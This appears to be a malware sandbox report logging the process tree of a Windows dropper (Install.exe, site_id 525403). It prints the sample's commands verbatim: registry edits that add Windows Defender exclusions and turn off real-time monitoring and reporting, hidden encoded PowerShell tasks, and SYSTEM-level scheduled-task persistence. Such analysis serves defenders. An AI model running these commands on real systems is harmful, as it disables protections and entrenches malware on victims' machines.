PID 2020 wrote to memory of 1764	2020	Install.exe	33
PID 2020 wrote to memory of 1764	2020	Install.exe	33
PID 2020 wrote to memory of 1764	2020	Install.exe	33
PID 2020 wrote to memory of 1764	2020	Install.exe	33
PID 2020 wrote to memory of 1764	2020	Install.exe	33
PID 2020 wrote to memory of 1764	2020	Install.exe	33
PID 2020 wrote to memory of 1764	2020	Install.exe	33
PID 1880 wrote to memory of 1364	1880	forfiles.exe	35
PID 1880 wrote to memory of 1364	1880	forfiles.exe	35
PID 1880 wrote to memory of 1364	1880	forfiles.exe	35
PID 1880 wrote to memory of 1364	1880	forfiles.exe	35
PID 1880 wrote to memory of 1364	1880	forfiles.exe	35
PID 1880 wrote to memory of 1364	1880	forfiles.exe	35
PID 1880 wrote to memory of 1364	1880	forfiles.exe	35
PID 1764 wrote to memory of 1020	1764	forfiles.exe	36
PID 1764 wrote to memory of 1020	1764	forfiles.exe	36
PID 1764 wrote to memory of 1020	1764	forfiles.exe	36
PID 1764 wrote to memory of 1020	1764	forfiles.exe	36
PID 1764 wrote to memory of 1020	1764	forfiles.exe	36
PID 1764 wrote to memory of 1020	1764	forfiles.exe	36
PID 1764 wrote to memory of 1020	1764	forfiles.exe	36
PID 1364 wrote to memory of 864	1364	cmd.exe	37
PID 1364 wrote to memory of 864	1364	cmd.exe	37
PID 1364 wrote to memory of 864	1364	cmd.exe	37
PID 1364 wrote to memory of 864	1364	cmd.exe	37
PID 1364 wrote to memory of 864	1364	cmd.exe	37
PID 1364 wrote to memory of 864	1364	cmd.exe	37
PID 1364 wrote to memory of 864	1364	cmd.exe	37
PID 1020 wrote to memory of 304	1020	cmd.exe	38
PID 1020 wrote to memory of 304	1020	cmd.exe	38
PID 1020 wrote to memory of 304	1020	cmd.exe	38
PID 1020 wrote to memory of 304	1020	cmd.exe	38
PID 1020 wrote to memory of 304	1020	cmd.exe	38
PID 1020 wrote to memory of 304	1020	cmd.exe	38
PID 1020 wrote to memory of 304	1020	cmd.exe	38
PID 1364 wrote to memory of 1132	1364	cmd.exe	40
PID 1364 wrote to memory of 1132	1364	cmd.exe	40
PID 1364 wrote to memory of 1132	1364	cmd.exe	40
PID 1364 wrote to memory of 1132	1364	cmd.exe	40
PID 1364 wrote to memory of 1132	1364	cmd.exe	40
PID 1364 wrote to memory of 1132	1364	cmd.exe	40
PID 1364 wrote to memory of 1132	1364	cmd.exe	40
PID 1020 wrote to memory of 1700	1020	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Users\Admin\AppData\Local\Temp\7zSF95D.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1016
- - C:\Users\Admin\AppData\Local\Temp\7zSFD15.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:2020
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1880
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1364
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:864
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1132
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1764
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1020
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:304
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1700
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gBujlnYty" /SC once /ST 00:36:20 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1996
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gBujlnYty"
      4⤵
      PID:676
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gBujlnYty"
      4⤵
      PID:1772
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bpCIAYFeZyKMHikKBh" /SC once /ST 03:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\okeChyKeTmbHgprqQ\VjcktLssTQnIhvX\sBgRQet.exe\" ux /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:1688

C:\Windows\system32\taskeng.exe
taskeng.exe {206B310D-0F61-4A36-892C-B2B4AFFD7AF2} S-1-5-21-2292972927-2705560509-2768824231-1000:GRXNNIIE\Admin:Interactive:[1]
1⤵
PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1572
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:748
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:600
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1652
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1572

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1360

C:\Windows\system32\taskeng.exe
taskeng.exe {2BCFE42B-D06A-4662-ACDC-9C1A652F4BA6} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:304
- C:\Users\Admin\AppData\Local\Temp\okeChyKeTmbHgprqQ\VjcktLssTQnIhvX\sBgRQet.exe
  C:\Users\Admin\AppData\Local\Temp\okeChyKeTmbHgprqQ\VjcktLssTQnIhvX\sBgRQet.exe ux /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1700
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gqQmtMowB" /SC once /ST 01:52:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1500
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gqQmtMowB"
    3⤵
    PID:756
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gqQmtMowB"
    3⤵
    PID:1172
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1512
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1408
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1984
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gWQReXoAB" /SC once /ST 01:09:17 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gWQReXoAB"
    3⤵
    PID:1764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gWQReXoAB"
    3⤵
    PID:904
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1592
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1888
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:940
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1712
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1900
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1408
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1696
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2004
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\knLrxBGDCryPZEWZ\sIYQjsRk\nJRlnVgEIdVMUSPl.wsf"
    3⤵
    PID:1980
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\knLrxBGDCryPZEWZ\sIYQjsRk\nJRlnVgEIdVMUSPl.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:1292
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GvoOIxMhypioqxYUWFR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:756
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GvoOIxMhypioqxYUWFR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1288
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QrhBhAIewKJHC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1356
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QrhBhAIewKJHC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1584
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rJaJUqPnDsUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1916
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rJaJUqPnDsUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1876
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ryYNpJDBUybU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:964
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ryYNpJDBUybU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:688
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vckoWffGU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1744
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vckoWffGU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1912
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\yhlYPCkQXcaQbSVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1448
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\yhlYPCkQXcaQbSVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1712
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\okeChyKeTmbHgprqQ" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1660
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\okeChyKeTmbHgprqQ" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1880
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:832
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GvoOIxMhypioqxYUWFR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:484
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GvoOIxMhypioqxYUWFR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:752
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QrhBhAIewKJHC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:748
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QrhBhAIewKJHC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:676
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rJaJUqPnDsUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:968
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rJaJUqPnDsUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1828
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ryYNpJDBUybU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1344
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ryYNpJDBUybU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:972
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vckoWffGU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:868
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\yhlYPCkQXcaQbSVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vckoWffGU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1744
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\yhlYPCkQXcaQbSVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\okeChyKeTmbHgprqQ" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:940
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\okeChyKeTmbHgprqQ" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1996
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:568
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\knLrxBGDCryPZEWZ" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gWCcfLEIk" /SC once /ST 01:01:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gWCcfLEIk"
    3⤵
    PID:872
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gWCcfLEIk"
    3⤵
    PID:1424
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:1920
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:1988
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:1744
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:1448
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "sowxjEWsCulfsCpcT" /SC once /ST 02:26:12 /RU "SYSTEM" /TR "\"C:\Windows\Temp\knLrxBGDCryPZEWZ\IfwwpebIuCOMZrt\kuMgayk.exe\" oy /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "sowxjEWsCulfsCpcT"
    3⤵
    PID:1376
- C:\Windows\Temp\knLrxBGDCryPZEWZ\IfwwpebIuCOMZrt\kuMgayk.exe
  C:\Windows\Temp\knLrxBGDCryPZEWZ\IfwwpebIuCOMZrt\kuMgayk.exe oy /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  PID:984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bpCIAYFeZyKMHikKBh"
    3⤵
    PID:1736
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:1816
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
      4⤵
      PID:1732
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:1784
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
      4⤵
      PID:600
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\vckoWffGU\sAbJeo.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "gxWNFYjnrIlwkwP" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gxWNFYjnrIlwkwP2" /F /xml "C:\Program Files (x86)\vckoWffGU\leHXkvW.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:288
